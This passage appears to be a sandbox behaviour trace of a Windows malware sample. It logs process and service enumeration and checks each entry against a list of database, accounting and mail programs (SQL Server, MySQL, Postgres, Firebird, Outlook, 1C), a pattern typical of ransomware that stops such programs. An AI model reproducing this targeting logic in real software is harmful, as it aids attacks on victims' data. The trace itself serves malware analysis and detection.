lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0270.170] lstrlenW (lpString="WPDBusEnum") returned 10 [0270.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0270.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0270.170] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0270.170] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0270.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0270.171] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0270.171] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0270.176] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.177] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.178] lstrlenW (lpString="System") returned 6 [0270.178] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0270.178] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0270.178] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0270.178] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0270.178] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0270.178] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0270.178] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0270.178] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.179] lstrlenW (lpString="smss.exe") returned 8 [0270.179] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0270.180] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0270.180] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0270.180] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0270.180] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0270.180] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0270.180] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0270.180] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.181] lstrlenW (lpString="csrss.exe") returned 9 [0270.181] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0270.181] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0270.181] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0270.181] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0270.181] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0270.181] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0270.181] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0270.181] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.182] lstrlenW (lpString="wininit.exe") returned 11 [0270.182] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0270.182] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0270.182] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0270.182] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0270.183] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0270.183] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0270.183] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0270.183] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.184] lstrlenW (lpString="csrss.exe") returned 9 [0270.184] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0270.184] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0270.184] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0270.184] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0270.184] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0270.184] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0270.184] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0270.184] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.185] lstrlenW (lpString="winlogon.exe") returned 12 [0270.185] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0270.186] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0270.186] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0270.186] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0270.186] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.998] lstrlenW (lpString="services.exe") returned 12 [0270.999] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.000] lstrlenW (lpString="lsass.exe") returned 9 [0271.000] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0271.001] lstrlenW (lpString="lsm.exe") returned 7 [0271.001] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.002] lstrlenW (lpString="svchost.exe") returned 11 [0271.003] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.004] lstrlenW (lpString="svchost.exe") returned 11 [0271.004] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.005] lstrlenW (lpString="svchost.exe") returned 11 [0271.005] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.006] lstrlenW (lpString="svchost.exe") returned 11 [0271.006] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.007] lstrlenW (lpString="svchost.exe") returned 11 [0271.007] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.009] lstrlenW (lpString="audiodg.exe") returned 11 [0271.010] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.011] lstrlenW (lpString="svchost.exe") returned 11 [0271.011] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.012] lstrlenW (lpString="explorer.exe") returned 12 [0271.012] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.014] lstrlenW (lpString="dwm.exe") returned 7 [0271.014] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.015] lstrlenW (lpString="svchost.exe") returned 11 [0271.015] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0271.016] lstrlenW (lpString="winhost.exe") returned 11 [0271.016] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.017] lstrlenW (lpString="spoolsv.exe") returned 11 [0271.018] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.019] lstrlenW (lpString="svchost.exe") returned 11 [0271.019] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.020] lstrlenW (lpString="taskhost.exe") returned 12 [0271.020] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0271.021] lstrlenW (lpString="reader_sl.exe") returned 13 [0271.021] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.022] lstrlenW (lpString="taskhost.exe") returned 12 [0271.022] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0271.023] lstrlenW (lpString="dllhost.exe") returned 11 [0271.023] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x368, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0271.024] lstrlenW (lpString="consent.exe") returned 11 [0271.024] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x368, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0271.025] CloseHandle (hObject=0x3a0) returned 1 [0271.026] Sleep (dwMilliseconds=0x1f4) [0272.319] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e388 [0272.331] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0272.332] GetLastError () returned 0xea [0272.332] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0272.332] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0272.334] CloseServiceHandle (hSCObject=0x62e388) returned 1 [0272.334] lstrlenW (lpString="Appinfo") returned 7 [0272.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0272.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0272.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0272.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0272.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0272.335] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0272.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.335] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0272.335] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0272.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0272.335] lstrlenW (lpString="AudioSrv") returned 8 [0272.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0272.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0272.336] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0272.336] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0272.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0272.336] lstrlenW (lpString="BFE") returned 3 [0272.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0272.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0272.336] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0272.336] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0272.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0272.337] lstrlenW (lpString="CryptSvc") returned 8 [0272.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0272.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0272.337] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0272.337] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0272.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0272.337] lstrlenW (lpString="CscService") returned 10 [0272.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0272.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0272.338] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0272.338] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0272.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0272.338] lstrlenW (lpString="DcomLaunch") returned 10 [0272.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.338] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0272.338] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0272.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0272.339] lstrlenW (lpString="Dhcp") returned 4 [0272.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0272.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0272.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0272.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0272.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0272.340] lstrlenW (lpString="Dnscache") returned 8 [0272.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0272.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0272.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0272.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0272.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0272.340] lstrlenW (lpString="DPS") returned 3 [0272.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0272.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0272.341] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0272.341] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0272.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0272.341] lstrlenW (lpString="eventlog") returned 8 [0272.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0272.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0272.341] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0272.341] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0272.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0272.342] lstrlenW (lpString="EventSystem") returned 11 [0272.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0272.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0272.342] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0272.342] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0272.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0272.342] lstrlenW (lpString="gpsvc") returned 5 [0272.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0272.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0272.342] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0272.342] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0272.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0272.343] lstrlenW (lpString="iphlpsvc") returned 8 [0272.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.343] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0272.343] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0272.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0272.343] lstrlenW (lpString="LanmanServer") returned 12 [0272.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0272.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0272.344] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0272.344] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0272.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0272.344] lstrlenW (lpString="LanmanWorkstation") returned 17 [0272.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.344] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0272.344] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0272.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0272.345] lstrlenW (lpString="lmhosts") returned 7 [0272.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0272.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0272.345] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0272.345] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0272.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0272.345] lstrlenW (lpString="MMCSS") returned 5 [0272.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0272.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0272.345] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0272.346] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0272.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0272.346] lstrlenW (lpString="MpsSvc") returned 6 [0272.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0272.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0272.346] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0272.346] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0272.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0272.346] lstrlenW (lpString="Netman") returned 6 [0272.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0272.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0272.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0272.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0272.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0272.347] lstrlenW (lpString="netprofm") returned 8 [0272.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0272.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0272.347] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0272.347] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0272.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0272.347] lstrlenW (lpString="NlaSvc") returned 6 [0272.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0272.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0272.348] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0272.348] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0272.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0272.348] lstrlenW (lpString="nsi") returned 3 [0272.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0272.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0272.348] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0272.348] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0272.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0272.348] lstrlenW (lpString="PcaSvc") returned 6 [0272.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0272.348] lstrcmpiW 